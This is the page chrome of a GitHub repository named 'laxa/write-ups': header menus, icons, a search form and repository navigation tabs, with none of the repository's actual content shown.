<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="92195266" data-scoped-search-url="/laxa/write-ups/search" data-owner-scoped-search-url="/users/laxa/search" data-unscoped-search-url="/search" data-turbo="false" action="/laxa/write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="3ufAP4VPFBXFvb79cDTEbHH6ISsIffRA6GV3ghgXuHXq5fgguekH1iSefyYZa0GhXtZWkbcIyA3ChLuoNYlLsA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> laxa </span> <span>/</span> write-ups
<span></span><span>Public</span> </div>
</div>
<include-fragment src="/laxa/write-ups/sponsor_button"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>13</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/laxa/write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
